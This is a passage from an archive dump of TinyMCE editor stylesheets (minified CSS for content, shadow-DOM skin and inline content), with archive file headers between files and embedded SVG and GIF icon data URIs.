[contentEditable=true]{cursor:text}.tox-cursor-format-painter{cursor:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2224%22%20height%3D%2224%22%20viewBox%3D%220%200%2024%2024%22%3E%0A%20%20%3Cg%20fill%3D%22none%22%20fill-rule%3D%22evenodd%22%3E%0A%20%20%20%20%3Cpath%20fill%3D%22%23000%22%20fill-rule%3D%22nonzero%22%20d%3D%22M15%2C6%20C15%2C5.45%2014.55%2C5%2014%2C5%20L6%2C5%20C5.45%2C5%205%2C5.45%205%2C6%20L5%2C10%20C5%2C10.55%205.45%2C11%206%2C11%20L14%2C11%20C14.55%2C11%2015%2C10.55%2015%2C10%20L15%2C9%20L16%2C9%20L16%2C12%20L9%2C12%20L9%2C19%20C9%2C19.55%209.45%2C20%2010%2C20%20L11%2C20%20C11.55%2C20%2012%2C19.55%2012%2C19%20L12%2C14%20L18%2C14%20L18%2C7%20L15%2C7%20L15%2C6%20Z%22%2F%3E%0A%20%20%20%20%3Cpath%20fill%3D%22%23000%22%20fill-rule%3D%22nonzero%22%20d%3D%22M1%2C1%20L8.25%2C1%20C8.66421356%2C1%209%2C1.33578644%209%2C1.75%20L9%2C1.75%20C9%2C2.16421356%208.66421356%2C2.5%208.25%2C2.5%20L2.5%2C2.5%20L2.5%2C8.25%20C2.5%2C8.66421356%202.16421356%2C9%201.75%2C9%20L1.75%2C9%20C1.33578644%2C9%201%2C8.66421356%201%2C8.25%20L1%2C1%20Z%22%2F%3E%0A%20%20%3C%2Fg%3E%0A%3C%2Fsvg%3E%0A"),default}.mce-content-body figure.align-left{float:left}.mce-content-body figure.align-right{float:right}.mce-content-body figure.image.align-center{display:table;margin-left:auto;margin-right:auto}.mce-preview-object{border:1px solid gray;display:inline-block;line-height:0;margin:0 2px 0 2px;position:relative}.mce-preview-object .mce-shim{background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7);height:100%;left:0;position:absolute;top:0;width:100%}.mce-preview-object[data-mce-selected="2"] .mce-shim{display:none}.mce-object{background:transparent url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2224%22%20height%3D%2224%22%3E%3Cpath%20d%3D%22M4%203h16a1%201%200%200%201%201%201v16a1%201%200%200%201-1%201H4a1%201%200%200%201-1-1V4a1%201%200%200%201%201-1zm1%202v14h14V5H5zm4.79%202.565l5.64%204.028a.5.5%200%200%201%200%20.814l-5.64%204.028a.5.5%200%200%201-.79-.407V7.972a.5.5%200%200%201%20.79-.407z%22%2F%3E%3C%2Fsvg%3E%0A") no-repeat center;border:1px dashed #aaa}.mce-pagebreak{border:1px dashed #aaa;cursor:default;display:block;height:5px;margin-top:15px;page-break-before:always;width:100%}@media print{.mce-pagebreak{border:0}}.tiny-pageembed .mce-shim{background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7);height:100%;left:0;position:absolute;top:0;width:100%}.tiny-pageembed[data-mce-selected="2"] .mce-shim{display:none}.tiny-pageembed{display:inline-block;position:relative}.tiny-pageembed--16by9,.tiny-pageembed--1by1,.tiny-pageembed--21by9,.tiny-pageembed--4by3{display:block;overflow:hidden;padding:0;position:relative;width:100%}.tiny-pageembed--21by9{padding-top:42.857143%}.tiny-pageembed--16by9{padding-top:56.25%}.tiny-pageembed--4by3{padding-top:75%}.tiny-pageembed--1by1{padding-top:100%}.tiny-pageembed--16by9 iframe,.tiny-pageembed--1by1 iframe,.tiny-pageembed--21by9 iframe,.tiny-pageembed--4by3 iframe{border:0;height:100%;left:0;position:absolute;top:0;width:100%}.mce-content-body[data-mce-placeholder]{position:relative}.mce-content-body[data-mce-placeholder]:not(.mce-visualblocks)::before{color:rgba(34,47,62,.7);content:attr(data-mce-placeholder);position:absolute}.mce-content-body:not([dir=rtl])[data-mce-placeholder]:not(.mce-visualblocks)::before{left:1px}.mce-content-body[dir=rtl][data-mce-placeholder]:not(.mce-visualblocks)::before{right:1px}.mce-content-body div.mce-resizehandle{background-color:#4099ff;border-color:#4099ff;border-style:solid;border-width:1px;box-sizing:border-box;height:10px;position:absolute;width:10px;z-index:1298}.mce-content-body div.mce-resizehandle:hover{background-color:#4099ff}.mce-content-body div.mce-resizehandle:nth-of-type(1){cursor:nwse-resize}.mce-content-body div.mce-resizehandle:nth-of-type(2){cursor:nesw-resize}.mce-content-body div.mce-resizehandle:nth-of-type(3){cursor:nwse-resize}.mce-content-body div.mce-resizehandle:nth-of-type(4){cursor:nesw-resize}.mce-content-body .mce-resize-backdrop{z-index:10000}.mce-content-body .mce-clonedresizable{cursor:default;opacity:.5;outline:1px dashed #000;position:absolute;z-index:10001}.mce-content-body .mce-clonedresizable.mce-resizetable-columns td,.mce-content-body .mce-clonedresizable.mce-resizetable-columns th{border:0}.mce-content-body .mce-resize-helper{background:#555;background:rgba(0,0,0,.75);border:1px;border-radius:3px;color:#fff;display:none;font-family:sans-serif;font-size:12px;line-height:14px;margin:5px 10px;padding:5px;position:absolute;white-space:nowrap;z-index:10002}.tox-rtc-user-selection{position:relative}.tox-rtc-user-cursor{bottom:0;cursor:default;position:absolute;top:0;width:2px}.tox-rtc-user-cursor::before{background-color:inherit;border-radius:50%;content:'';display:block;height:8px;position:absolute;right:-3px;top:-3px;width:8px}.tox-rtc-user-cursor:hover::after{background-color:inherit;border-radius:100px;box-sizing:border-box;color:#fff;content:attr(data-user);display:block;font-size:12px;font-weight:700;left:-5px;min-height:8px;min-width:8px;padding:0 12px;position:absolute;top:-11px;white-space:nowrap;z-index:1000}.tox-rtc-user-selection--1 .tox-rtc-user-cursor{background-color:#2dc26b}.tox-rtc-user-selection--2 .tox-rtc-user-cursor{background-color:#e03e2d}.tox-rtc-user-selection--3 .tox-rtc-user-cursor{background-color:#f1c40f}.tox-rtc-user-selection--4 .tox-rtc-user-cursor{background-color:#3598db}.tox-rtc-user-selection--5 .tox-rtc-user-cursor{background-color:#b96ad9}.tox-rtc-user-selection--6 .tox-rtc-user-cursor{background-color:#e67e23}.tox-rtc-user-selection--7 .tox-rtc-user-cursor{background-color:#aaa69d}.tox-rtc-user-selection--8 .tox-rtc-user-cursor{background-color:#f368e0}.tox-rtc-remote-image{background:#eaeaea url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D%2236%22%20height%3D%2212%22%20viewBox%3D%220%200%2036%2012%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%20%20%3Ccircle%20cx%3D%226%22%20cy%3D%226%22%20r%3D%223%22%20fill%3D%22rgba(0%2C%200%2C%200%2C%20.2)%22%3E%0A%20%20%20%20%3Canimate%20attributeName%3D%22r%22%20values%3D%223%3B5%3B3%22%20calcMode%3D%22linear%22%20dur%3D%221s%22%20repeatCount%3D%22indefinite%22%20%2F%3E%0A%20%20%3C%2Fcircle%3E%0A%20%20%3Ccircle%20cx%3D%2218%22%20cy%3D%226%22%20r%3D%223%22%20fill%3D%22rgba(0%2C%200%2C%200%2C%20.2)%22%3E%0A%20%20%20%20%3Canimate%20attributeName%3D%22r%22%20values%3D%223%3B5%3B3%22%20calcMode%3D%22linear%22%20begin%3D%22.33s%22%20dur%3D%221s%22%20repeatCount%3D%22indefinite%22%20%2F%3E%0A%20%20%3C%2Fcircle%3E%0A%20%20%3Ccircle%20cx%3D%2230%22%20cy%3D%226%22%20r%3D%223%22%20fill%3D%22rgba(0%2C%200%2C%200%2C%20.2)%22%3E%0A%20%20%20%20%3Canimate%20attributeName%3D%22r%22%20values%3D%223%3B5%3B3%22%20calcMode%3D%22linear%22%20begin%3D%22.66s%22%20dur%3D%221s%22%20repeatCount%3D%22indefinite%22%20%2F%3E%0A%20%20%3C%2Fcircle%3E%0A%3C%2Fsvg%3E%0A") no-repeat center center;border:1px solid #ccc;min-height:240px;min-width:320px}.mce-match-marker{background:#aaa;color:#fff}.mce-match-marker-selected{background:#39f;color:#fff}.mce-match-marker-selected::-moz-selection{background:#39f;color:#fff}.mce-match-marker-selected::selection{background:#39f;color:#fff}.mce-content-body audio[data-mce-selected],.mce-content-body embed[data-mce-selected],.mce-content-body img[data-mce-selected],.mce-content-body object[data-mce-selected],.mce-content-body table[data-mce-selected],.mce-content-body video[data-mce-selected]{outline:3px solid #b4d7ff}.mce-content-body hr[data-mce-selected]{outline:3px solid #b4d7ff;outline-offset:1px}.mce-content-body [contentEditable=false] [contentEditable=true]:focus{outline:3px solid #b4d7ff}.mce-content-body [contentEditable=false] [contentEditable=true]:hover{outline:3px solid #b4d7ff}.mce-content-body [contentEditable=false][data-mce-selected]{cursor:not-allowed;outline:3px solid #b4d7ff}.mce-content-body.mce-content-readonly [contentEditable=true]:focus,.mce-content-body.mce-content-readonly [contentEditable=true]:hover{outline:0}.mce-content-body [data-mce-selected=inline-boundary]{background-color:#b4d7ff}.mce-content-body .mce-edit-focus{outline:3px solid #b4d7ff}.mce-content-body td[data-mce-selected],.mce-content-body th[data-mce-selected]{position:relative}.mce-content-body td[data-mce-selected]::-moz-selection,.mce-content-body th[data-mce-selected]::-moz-selection{background:0 0}.mce-content-body td[data-mce-selected]::selection,.mce-content-body th[data-mce-selected]::selection{background:0 0}.mce-content-body td[data-mce-selected] *,.mce-content-body th[data-mce-selected] *{outline:0;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.mce-content-body td[data-mce-selected]::after,.mce-content-body th[data-mce-selected]::after{background-color:rgba(180,215,255,.7);border:1px solid rgba(180,215,255,.7);bottom:-1px;content:'';left:-1px;mix-blend-mode:multiply;position:absolute;right:-1px;top:-1px}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.mce-content-body td[data-mce-selected]::after,.mce-content-body th[data-mce-selected]::after{border-color:rgba(0,84,180,.7)}}.mce-content-body img::-moz-selection{background:0 0}.mce-content-body img::selection{background:0 0}.ephox-snooker-resizer-bar{background-color:#b4d7ff;opacity:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ephox-snooker-resizer-cols{cursor:col-resize}.ephox-snooker-resizer-rows{cursor:row-resize}.ephox-snooker-resizer-bar.ephox-snooker-resizer-bar-dragging{opacity:1}.mce-spellchecker-word{background-image:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D'4'%20height%3D'4'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20stroke%3D'%23ff0000'%20fill%3D'none'%20stroke-linecap%3D'round'%20stroke-opacity%3D'.75'%20d%3D'M0%203L2%201%204%203'%2F%3E%3C%2Fsvg%3E%0A");background-position:0 calc(100% + 1px);background-repeat:repeat-x;background-size:auto 6px;cursor:default;height:2rem}.mce-spellchecker-grammar{background-image:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D'4'%20height%3D'4'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20stroke%3D'%2300A835'%20fill%3D'none'%20stroke-linecap%3D'round'%20d%3D'M0%203L2%201%204%203'%2F%3E%3C%2Fsvg%3E%0A");background-position:0 calc(100% + 1px);background-repeat:repeat-x;background-size:auto 6px;cursor:default}.mce-toc{border:1px solid gray}.mce-toc h2{margin:4px}.mce-toc li{list-style-type:none}.mce-item-table:not([border]),.mce-item-table:not([border]) caption,.mce-item-table:not([border]) td,.mce-item-table:not([border]) th,.mce-item-table[border="0"],.mce-item-table[border="0"] caption,.mce-item-table[border="0"] td,.mce-item-table[border="0"] th,table[style*="border-width: 0px"],table[style*="border-width: 0px"] caption,table[style*="border-width: 0px"] td,table[style*="border-width: 0px"] th{border:1px dashed #bbb}.mce-visualblocks address,.mce-visualblocks article,.mce-visualblocks aside,.mce-visualblocks blockquote,.mce-visualblocks div:not([data-mce-bogus]),.mce-visualblocks dl,.mce-visualblocks figcaption,.mce-visualblocks figure,.mce-visualblocks h1,.mce-visualblocks h2,.mce-visualblocks h3,.mce-visualblocks h4,.mce-visualblocks h5,.mce-visualblocks h6,.mce-visualblocks hgroup,.mce-visualblocks ol,.mce-visualblocks p,.mce-visualblocks pre,.mce-visualblocks section,.mce-visualblocks ul{background-repeat:no-repeat;border:1px dashed #bbb;margin-left:3px;padding-top:10px}.mce-visualblocks p{background-image:url(data:image/gif;base64,R0lGODlhCQAJAJEAAAAAAP///7u7u////yH5BAEAAAMALAAAAAAJAAkAAAIQnG+CqCN/mlyvsRUpThG6AgA7)}.mce-visualblocks h1{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybGu1JuxHoAfRNRW3TWXyF2YiRUAOw==)}.mce-visualblocks h2{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8Hybbx4oOuqgTynJd6bGlWg3DkJzoaUAAAOw==)}.mce-visualblocks h3{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIZjI8Hybbx4oOuqgTynJf2Ln2NOHpQpmhAAQA7)}.mce-visualblocks h4{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxInR0zqeAdhtJlXwV1oCll2HaWgAAOw==)}.mce-visualblocks h5{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxIoiuwjane4iq5GlW05GgIkIZUAAAOw==)}.mce-visualblocks h6{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxIoiuwjan04jep1iZ1XRlAo5bVgAAOw==)}.mce-visualblocks div:not([data-mce-bogus]){background-image:url(data:image/gif;base64,R0lGODlhEgAKAIABALu7u////yH5BAEAAAEALAAAAAASAAoAAAIfjI9poI0cgDywrhuxfbrzDEbQM2Ei5aRjmoySW4pAAQA7)}.mce-visualblocks section{background-image:url(data:image/gif;base64,R0lGODlhKAAKAIABALu7u////yH5BAEAAAEALAAAAAAoAAoAAAI5jI+pywcNY3sBWHdNrplytD2ellDeSVbp+GmWqaDqDMepc8t17Y4vBsK5hDyJMcI6KkuYU+jpjLoKADs=)}.mce-visualblocks article{background-image:url(data:image/gif;base64,R0lGODlhKgAKAIABALu7u////yH5BAEAAAEALAAAAAAqAAoAAAI6jI+pywkNY3wG0GBvrsd2tXGYSGnfiF7ikpXemTpOiJScasYoDJJrjsG9gkCJ0ag6KhmaIe3pjDYBBQA7)}.mce-visualblocks blockquote{background-image:url(data:image/gif;base64,R0lGODlhPgAKAIABALu7u////yH5BAEAAAEALAAAAAA+AAoAAAJPjI+py+0Knpz0xQDyuUhvfoGgIX5iSKZYgq5uNL5q69asZ8s5rrf0yZmpNkJZzFesBTu8TOlDVAabUyatguVhWduud3EyiUk45xhTTgMBBQA7)}.mce-visualblocks address{background-image:url(data:image/gif;base64,R0lGODlhLQAKAIABALu7u////yH5BAEAAAEALAAAAAAtAAoAAAI/jI+pywwNozSP1gDyyZcjb3UaRpXkWaXmZW4OqKLhBmLs+K263DkJK7OJeifh7FicKD9A1/IpGdKkyFpNmCkAADs=)}.mce-visualblocks pre{background-image:url(data:image/gif;base64,R0lGODlhFQAKAIABALu7uwAAACH5BAEAAAEALAAAAAAVAAoAAAIjjI+ZoN0cgDwSmnpz1NCueYERhnibZVKLNnbOq8IvKpJtVQAAOw==)}.mce-visualblocks figure{background-image:url(data:image/gif;base64,R0lGODlhJAAKAIAAALu7u////yH5BAEAAAEALAAAAAAkAAoAAAI0jI+py+2fwAHUSFvD3RlvG4HIp4nX5JFSpnZUJ6LlrM52OE7uSWosBHScgkSZj7dDKnWAAgA7)}.mce-visualblocks figcaption{border:1px dashed #bbb}.mce-visualblocks hgroup{background-image:url(data:image/gif;base64,R0lGODlhJwAKAIABALu7uwAAACH5BAEAAAEALAAAAAAnAAoAAAI3jI+pywYNI3uB0gpsRtt5fFnfNZaVSYJil4Wo03Hv6Z62uOCgiXH1kZIIJ8NiIxRrAZNMZAtQAAA7)}.mce-visualblocks aside{background-image:url(data:image/gif;base64,R0lGODlhHgAKAIABAKqqqv///yH5BAEAAAEALAAAAAAeAAoAAAItjI+pG8APjZOTzgtqy7I3f1yehmQcFY4WKZbqByutmW4aHUd6vfcVbgudgpYCADs=)}.mce-visualblocks ul{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIAAALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybGuYnqUVSjvw26DzzXiqIDlVwAAOw==)}.mce-visualblocks ol{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybH6HHt0qourxC6CvzXieHyeWQAAOw==)}.mce-visualblocks dl{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybEOnmOvUoWznTqeuEjNSCqeGRUAOw==)}.mce-visualblocks:not([dir=rtl]) address,.mce-visualblocks:not([dir=rtl]) article,.mce-visualblocks:not([dir=rtl]) aside,.mce-visualblocks:not([dir=rtl]) blockquote,.mce-visualblocks:not([dir=rtl]) div:not([data-mce-bogus]),.mce-visualblocks:not([dir=rtl]) dl,.mce-visualblocks:not([dir=rtl]) figcaption,.mce-visualblocks:not([dir=rtl]) figure,.mce-visualblocks:not([dir=rtl]) h1,.mce-visualblocks:not([dir=rtl]) h2,.mce-visualblocks:not([dir=rtl]) h3,.mce-visualblocks:not([dir=rtl]) h4,.mce-visualblocks:not([dir=rtl]) h5,.mce-visualblocks:not([dir=rtl]) h6,.mce-visualblocks:not([dir=rtl]) hgroup,.mce-visualblocks:not([dir=rtl]) ol,.mce-visualblocks:not([dir=rtl]) p,.mce-visualblocks:not([dir=rtl]) pre,.mce-visualblocks:not([dir=rtl]) section,.mce-visualblocks:not([dir=rtl]) ul{margin-left:3px}.mce-visualblocks[dir=rtl] address,.mce-visualblocks[dir=rtl] article,.mce-visualblocks[dir=rtl] aside,.mce-visualblocks[dir=rtl] blockquote,.mce-visualblocks[dir=rtl] div:not([data-mce-bogus]),.mce-visualblocks[dir=rtl] dl,.mce-visualblocks[dir=rtl] figcaption,.mce-visualblocks[dir=rtl] figure,.mce-visualblocks[dir=rtl] h1,.mce-visualblocks[dir=rtl] h2,.mce-visualblocks[dir=rtl] h3,.mce-visualblocks[dir=rtl] h4,.mce-visualblocks[dir=rtl] h5,.mce-visualblocks[dir=rtl] h6,.mce-visualblocks[dir=rtl] hgroup,.mce-visualblocks[dir=rtl] ol,.mce-visualblocks[dir=rtl] p,.mce-visualblocks[dir=rtl] pre,.mce-visualblocks[dir=rtl] section,.mce-visualblocks[dir=rtl] ul{background-position-x:right;margin-right:3px}.mce-nbsp,.mce-shy{background:#aaa}.mce-shy::after{content:'-'}body{font-family:sans-serif}table{border-collapse:collapse}
PK
h�\;E�8program/js/tinymce/skins/ui/oxide/skin.shadowdom.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
body.tox-dialog__disable-scroll{overflow:hidden}.tox-fullscreen{border:0;height:100%;margin:0;overflow:hidden;-ms-scroll-chaining:none;overscroll-behavior:none;padding:0;touch-action:pinch-zoom;width:100%}.tox.tox-tinymce.tox-fullscreen .tox-statusbar__resize-handle{display:none}.tox-shadowhost.tox-fullscreen,.tox.tox-tinymce.tox-fullscreen{left:0;position:fixed;top:0;z-index:1200}.tox.tox-tinymce.tox-fullscreen{background-color:transparent}.tox-fullscreen .tox.tox-tinymce-aux,.tox-fullscreen~.tox.tox-tinymce-aux{z-index:1201}
PK
h�\2�.EUU8program/js/tinymce/skins/ui/oxide/content.inline.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
.mce-content-body .mce-item-anchor{background:transparent url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D'8'%20height%3D'12'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200L8%200%208%2012%204.09117821%209%200%2012z'%2F%3E%3C%2Fsvg%3E%0A") no-repeat center;cursor:default;display:inline-block;height:12px!important;padding:0 2px;-webkit-user-modify:read-only;-moz-user-modify:read-only;-webkit-user-select:all;-moz-user-select:all;-ms-user-select:all;user-select:all;width:8px!important}.mce-content-body .mce-item-anchor[data-mce-selected]{outline-offset:1px}.tox-comments-visible .tox-comment{background-color:#fff0b7}.tox-comments-visible .tox-comment--active{background-color:#ffe168}.tox-checklist>li:not(.tox-checklist--hidden){list-style:none;margin:.25em 0}.tox-checklist>li:not(.tox-checklist--hidden)::before{content:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2216%22%20height%3D%2216%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cg%20id%3D%22checklist-unchecked%22%20fill%3D%22none%22%20fill-rule%3D%22evenodd%22%3E%3Crect%20id%3D%22Rectangle%22%20width%3D%2215%22%20height%3D%2215%22%20x%3D%22.5%22%20y%3D%22.5%22%20fill-rule%3D%22nonzero%22%20stroke%3D%22%234C4C4C%22%20rx%3D%222%22%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E%0A");cursor:pointer;height:1em;margin-left:-1.5em;margin-top:.125em;position:absolute;width:1em}.tox-checklist li:not(.tox-checklist--hidden).tox-checklist--checked::before{content:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2216%22%20height%3D%2216%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cg%20id%3D%22checklist-checked%22%20fill%3D%22none%22%20fill-rule%3D%22evenodd%22%3E%3Crect%20id%3D%22Rectangle%22%20width%3D%2216%22%20height%3D%2216%22%20fill%3D%22%234099FF%22%20fill-rule%3D%22nonzero%22%20rx%3D%222%22%2F%3E%3Cpath%20id%3D%22Path%22%20fill%3D%22%23FFF%22%20fill-rule%3D%22nonzero%22%20d%3D%22M11.5703186%2C3.14417309%20C11.8516238%2C2.73724603%2012.4164781%2C2.62829933%2012.83558%2C2.89774797%20C13.260121%2C3.17069355%2013.3759736%2C3.72932262%2013.0909105%2C4.14168582%20L7.7580587%2C11.8560195%20C7.43776896%2C12.3193404%206.76483983%2C12.3852142%206.35607322%2C11.9948725%20L3.02491697%2C8.8138662%20C2.66090143%2C8.46625845%202.65798871%2C7.89594698%203.01850234%2C7.54483354%20C3.373942%2C7.19866177%203.94940006%2C7.19592841%204.30829608%2C7.5386474%20L6.85276923%2C9.9684299%20L11.5703186%2C3.14417309%20Z%22%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E%0A")}[dir=rtl] .tox-checklist>li:not(.tox-checklist--hidden)::before{margin-left:0;margin-right:-1.5em}code[class*=language-],pre[class*=language-]{color:#000;background:0 0;text-shadow:0 1px #fff;font-family:Consolas,Monaco,'Andale Mono','Ubuntu Mono',monospace;font-size:1em;text-align:left;white-space:pre;word-spacing:normal;word-break:normal;word-wrap:normal;line-height:1.5;-moz-tab-size:4;tab-size:4;-webkit-hyphens:none;-ms-hyphens:none;hyphens:none}code[class*=language-] ::-moz-selection,code[class*=language-]::-moz-selection,pre[class*=language-] ::-moz-selection,pre[class*=language-]::-moz-selection{text-shadow:none;background:#b3d4fc}code[class*=language-] ::selection,code[class*=language-]::selection,pre[class*=language-] ::selection,pre[class*=language-]::selection{text-shadow:none;background:#b3d4fc}@media print{code[class*=language-],pre[class*=language-]{text-shadow:none}}pre[class*=language-]{padding:1em;margin:.5em 0;overflow:auto}:not(pre)>code[class*=language-],pre[class*=language-]{background:#f5f2f0}:not(pre)>code[class*=language-]{padding:.1em;border-radius:.3em;white-space:normal}.token.cdata,.token.comment,.token.doctype,.token.prolog{color:#708090}.token.punctuation{color:#999}.namespace{opacity:.7}.token.boolean,.token.constant,.token.deleted,.token.number,.token.property,.token.symbol,.token.tag{color:#905}.token.attr-name,.token.builtin,.token.char,.token.inserted,.token.selector,.token.string{color:#690}.language-css .token.string,.style .token.string,.token.entity,.token.operator,.token.url{color:#9a6e3a;background:hsla(0,0%,100%,.5)}.token.atrule,.token.attr-value,.token.keyword{color:#07a}.token.class-name,.token.function{color:#dd4a68}.token.important,.token.regex,.token.variable{color:#e90}.token.bold,.token.important{font-weight:700}.token.italic{font-style:italic}.token.entity{cursor:help}.mce-content-body{overflow-wrap:break-word;word-wrap:break-word}.mce-content-body .mce-visual-caret{background-color:#000;background-color:currentColor;position:absolute}.mce-content-body .mce-visual-caret-hidden{display:none}.mce-content-body [data-mce-caret]{left:-1000px;margin:0;padding:0;position:absolute;right:auto;top:0}.mce-content-body .mce-offscreen-selection{left:-2000000px;max-width:1000000px;position:absolute}.mce-content-body [contentEditable=false]{cursor:default}.mce-content-body [contentEditable=true]{cursor:text}.tox-cursor-format-painter{cursor:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2224%22%20height%3D%2224%22%20viewBox%3D%220%200%2024%2024%22%3E%0A%20%20%3Cg%20fill%3D%22none%22%20fill-rule%3D%22evenodd%22%3E%0A%20%20%20%20%3Cpath%20fill%3D%22%23000%22%20fill-rule%3D%22nonzero%22%20d%3D%22M15%2C6%20C15%2C5.45%2014.55%2C5%2014%2C5%20L6%2C5%20C5.45%2C5%205%2C5.45%205%2C6%20L5%2C10%20C5%2C10.55%205.45%2C11%206%2C11%20L14%2C11%20C14.55%2C11%2015%2C10.55%2015%2C10%20L15%2C9%20L16%2C9%20L16%2C12%20L9%2C12%20L9%2C19%20C9%2C19.55%209.45%2C20%2010%2C20%20L11%2C20%20C11.55%2C20%2012%2C19.55%2012%2C19%20L12%2C14%20L18%2C14%20L18%2C7%20L15%2C7%20L15%2C6%20Z%22%2F%3E%0A%20%20%20%20%3Cpath%20fill%3D%22%23000%22%20fill-rule%3D%22nonzero%22%20d%3D%22M1%2C1%20L8.25%2C1%20C8.66421356%2C1%209%2C1.33578644%209%2C1.75%20L9%2C1.75%20C9%2C2.16421356%208.66421356%2C2.5%208.25%2C2.5%20L2.5%2C2.5%20L2.5%2C8.25%20C2.5%2C8.66421356%202.16421356%2C9%201.75%2C9%20L1.75%2C9%20C1.33578644%2C9%201%2C8.66421356%201%2C8.25%20L1%2C1%20Z%22%2F%3E%0A%20%20%3C%2Fg%3E%0A%3C%2Fsvg%3E%0A"),default}.mce-content-body figure.align-left{float:left}.mce-content-body figure.align-right{float:right}.mce-content-body figure.image.align-center{display:table;margin-left:auto;margin-right:auto}.mce-preview-object{border:1px solid gray;display:inline-block;line-height:0;margin:0 2px 0 2px;position:relative}.mce-preview-object .mce-shim{background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7);height:100%;left:0;position:absolute;top:0;width:100%}.mce-preview-object[data-mce-selected="2"] .mce-shim{display:none}.mce-object{background:transparent url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2224%22%20height%3D%2224%22%3E%3Cpath%20d%3D%22M4%203h16a1%201%200%200%201%201%201v16a1%201%200%200%201-1%201H4a1%201%200%200%201-1-1V4a1%201%200%200%201%201-1zm1%202v14h14V5H5zm4.79%202.565l5.64%204.028a.5.5%200%200%201%200%20.814l-5.64%204.028a.5.5%200%200%201-.79-.407V7.972a.5.5%200%200%201%20.79-.407z%22%2F%3E%3C%2Fsvg%3E%0A") no-repeat center;border:1px dashed #aaa}.mce-pagebreak{border:1px dashed #aaa;cursor:default;display:block;height:5px;margin-top:15px;page-break-before:always;width:100%}@media print{.mce-pagebreak{border:0}}.tiny-pageembed .mce-shim{background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7);height:100%;left:0;position:absolute;top:0;width:100%}.tiny-pageembed[data-mce-selected="2"] .mce-shim{display:none}.tiny-pageembed{display:inline-block;position:relative}.tiny-pageembed--16by9,.tiny-pageembed--1by1,.tiny-pageembed--21by9,.tiny-pageembed--4by3{display:block;overflow:hidden;padding:0;position:relative;width:100%}.tiny-pageembed--21by9{padding-top:42.857143%}.tiny-pageembed--16by9{padding-top:56.25%}.tiny-pageembed--4by3{padding-top:75%}.tiny-pageembed--1by1{padding-top:100%}.tiny-pageembed--16by9 iframe,.tiny-pageembed--1by1 iframe,.tiny-pageembed--21by9 iframe,.tiny-pageembed--4by3 iframe{border:0;height:100%;left:0;position:absolute;top:0;width:100%}.mce-content-body[data-mce-placeholder]{position:relative}.mce-content-body[data-mce-placeholder]:not(.mce-visualblocks)::before{color:rgba(34,47,62,.7);content:attr(data-mce-placeholder);position:absolute}.mce-content-body:not([dir=rtl])[data-mce-placeholder]:not(.mce-visualblocks)::before{left:1px}.mce-content-body[dir=rtl][data-mce-placeholder]:not(.mce-visualblocks)::before{right:1px}.mce-content-body 